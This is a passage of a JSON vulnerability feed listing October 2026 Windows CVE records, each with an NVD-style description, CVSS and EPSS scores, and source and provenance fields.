server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70202","asOf":"2026-10-14T19:44:47.503Z"},"epss":{"probability":0.00573,"percentile":0.47087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70202","type":"primary","publishedAt":"2026-10-13T19:19:34.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70202","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70176","cveId":"CVE-2026-70176","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:31.817Z","updatedAt":"2026-10-22T12:45:18.857Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70176","asOf":"2026-10-22T12:45:18.857Z"},"epss":{"probability":0.00329,"percentile":0.25774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70176&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70176","type":"primary","publishedAt":"2026-10-13T19:19:31.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70176","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70176&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70176, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70167","cveId":"CVE-2026-70167","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.","summary":"Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.","detail":"Access of resource using incompatible type ('type confusion') in DNS Server allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:30.537Z","updatedAt":"2026-10-16T10:45:34.170Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2022","stacks":["Microsoft Windows","Microsoft Office","windows server 2022"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70167","asOf":"2026-10-16T10:45:34.170Z"},"epss":{"probability":0.00984,"percentile":0.62088,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70167&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70167","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70167","type":"primary","publishedAt":"2026-10-13T19:19:30.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70167","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70167&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70167, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70160","cveId":"CVE-2026-70160","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.510Z","updatedAt":"2026-10-22T12:47:59.967Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70160","asOf":"2026-10-22T12:47:59.967Z"},"epss":{"probability":0.003,"percentile":0.22443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70160","type":"primary","publishedAt":"2026-10-13T19:19:29.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70160","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70155","cveId":"CVE-2026-70155","aliases":[],"kind":"vulnerability","title":"Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.","summary":"Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.","detail":"Missing release of memory after effective lifetime in Windows DNS allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:28.713Z","updatedAt":"2026-10-16T17:34:17.117Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70155","asOf":"2026-10-16T17:34:17.117Z"},"epss":{"probability":0.0133,"percentile":0.70837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70155","type":"primary","publishedAt":"2026-10-13T19:19:28.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70155","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70144","cveId":"CVE-2026-70144","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:27.553Z","updatedAt":"2026-10-22T12:48:58.460Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70144","asOf":"2026-10-22T12:48:58.460Z"},"epss":{"probability":0.00392,"percentile":0.33038,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70144","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70144","type":"primary","publishedAt":"2026-10-13T19:19:27.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70144","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70127","cveId":"CVE-2026-70127","aliases":[],"kind":"vulnerability","title":"Use after free in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Use after free in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Use after free in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:24.917Z","updatedAt":"2026-10-16T17:34:43.773Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70127","asOf":"2026-10-16T17:34:43.773Z"},"epss":{"probability":0.00818,"percentile":0.56878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70127","type":"primary","publishedAt":"2026-10-13T19:19:24.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70127","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70121","cveId":"CVE-2026-70121","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:24.260Z","updatedAt":"2026-10-22T12:50:13.430Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70121","asOf":"2026-10-22T12:50:13.430Z"},"epss":{"probability":0.00379,"percentile":0.31578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70121","type":"primary","publishedAt":"2026-10-13T19:19:24.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70121","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70117","cveId":"CVE-2026-70117","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:23.840Z","updatedAt":"2026-10-22T12:51:41.183Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70117","asOf":"2026-10-22T12:51:41.183Z"},"epss":{"probability":0.00395,"percentile":0.33384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70117","type":"primary","publishedAt":"2026-10-13T19:19:23.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70117","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70114","cveId":"CVE-2026-70114","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:23.467Z","updatedAt":"2026-10-22T12:52:29.027Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70114","asOf":"2026-10-22T12:52:29.027Z"},"epss":{"probability":0.00379,"percentile":0.31577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70114","type":"primary","publishedAt":"2026-10-13T19:19:23.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70114","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70111","cveId":"CVE-2026-70111","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.","summary":"Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.","detail":"Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.960Z","updatedAt":"2026-10-22T13:06:31.310Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70111","asOf":"2026-10-22T13:06:31.310Z"},"epss":{"probability":0.00841,"percentile":0.57615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70111","type":"primary","publishedAt":"2026-10-13T19:19:22.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70111","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70108","cveId":"CVE-2026-70108","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:22.403Z","updatedAt":"2026-10-22T13:07:38.547Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70108","asOf":"2026-10-22T13:07:38.547Z"},"epss":{"probability":0.00499,"percentile":0.42491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70108","type":"primary","publishedAt":"2026-10-13T19:19:22.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70108","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 